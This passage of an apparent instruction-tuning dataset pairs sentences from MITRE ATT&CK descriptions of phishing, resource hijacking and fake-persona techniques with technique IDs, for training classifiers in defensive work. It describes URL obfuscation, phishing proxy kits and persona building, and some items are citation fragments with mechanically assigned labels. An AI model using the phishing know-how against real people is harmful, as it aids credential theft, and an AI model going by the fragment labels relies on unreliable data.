T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also link to \"web bugs\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug)", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also link to \"web bugs\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug) ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation:", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mr. D0x BitB 2022)", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mr. D0x BitB 2022) ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to proxy the connection between the victim and the legitimate website.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to proxy the connection between the victim and the legitimate website. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539))", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "in addition to their username and password.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: in addition to their username and password. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor)\n\nFrom the fake website, information is gathered in web forms and sent to the adversary.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor)\n\nFrom the fake website, information is gathered in web forms and sent to the adversary. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of phishing are electronically delivered social engineering.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of phishing are electronically delivered social engineering. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing can be targeted, known as spearphishing.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing can be targeted, known as spearphishing. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In spearphishing, a specific individual, company, or industry will be targeted by the adversary.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In spearphishing, a specific individual, company, or industry will be targeted by the adversary. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation:", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation:", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation:", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Palo Alto Unit 42 VBA Infostealer 2014)", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Palo Alto Unit 42 VBA Infostealer 2014) ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.", "output": "T1496", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. ### Response: T1496."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency.", "output": "T1496", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. ### Response: T1496."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation:", "output": "T1496", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: ### Response: T1496."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)", "output": "T1496", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs) ### Response: T1496."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it\u2019s not competing for resources.(Citation: Trend Micro War of Crypto Miners)", "output": "T1496", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it\u2019s not competing for resources.(Citation: Trend Micro War of Crypto Miners) ### Response: T1496."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR)", "output": "T1496", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) ### Response: T1496."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking)", "output": "T1496", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking) ### Response: T1496."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create accounts with cloud providers that can be used during targeting.", "output": "T1585.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create accounts with cloud providers that can be used during targeting. ### Response: T1585.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s.", "output": "T1585.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. ### Response: T1585.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure.", "output": "T1585.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. ### Response: T1585.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)", "output": "T1585.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud) ### Response: T1585.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Creating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider.", "output": "T1585.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Creating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider. ### Response: T1585.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create email accounts that can be used during targeting.", "output": "T1585.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create email accounts that can be used during targeting. ### Response: T1585.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation:", "output": "T1585.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: ### Response: T1585.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors.", "output": "T1585.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. ### Response: T1585.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)", "output": "T1585.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1) ### Response: T1585.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)", "output": "T1585.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016) ### Response: T1585.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create and cultivate social media accounts that can be used during targeting.", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create and cultivate social media accounts that can be used during targeting. ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can create social media accounts that can be used to build a persona to further operations.", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can create social media accounts that can be used to build a persona to further operations. ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For operations incorporating social engineering, the utilization of a persona on social media may be important.", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For operations incorporating social engineering, the utilization of a persona on social media may be important. ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These personas may be fictitious or impersonate real people.", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These personas may be fictitious or impersonate real people. ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.).", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Establishing a persona  on social media may require development of additional documentation to make them seem real.", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Establishing a persona  on social media may require development of additional documentation to make them seem real. ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This could include filling out profile information, developing social networks, or incorporating photos.", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This could include filling out profile information, developing social networks, or incorporating photos. ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once a persona has been developed an adversary can use it to create connections to targets of interest.", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once a persona has been developed an adversary can use it to create connections to targets of interest. ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", "output": "T1585.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). ### Response: T1585.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create and cultivate accounts with services that can be used during targeting.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create and cultivate accounts with services that can be used during targeting. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can create accounts that can be used to build a persona to further operations.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can create accounts that can be used to build a persona to further operations. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Persona development consists of the development of public information, presence, history and appropriate affiliations.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Persona development consists of the development of public information, presence, history and appropriate affiliations. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For operations incorporating social engineering, the utilization of an online persona may be important.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For operations incorporating social engineering, the utilization of an online persona may be important. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These personas may be fictitious or impersonate real people.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These personas may be fictitious or impersonate real people. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.).", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Establishing a persona may require development of additional documentation to make them seem real.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Establishing a persona may require development of additional documentation to make them seem real. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire information about vulnerabilities that can be used during targeting.", "output": "T1588.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire information about vulnerabilities that can be used during targeting. ### Response: T1588.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur.", "output": "T1588.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### 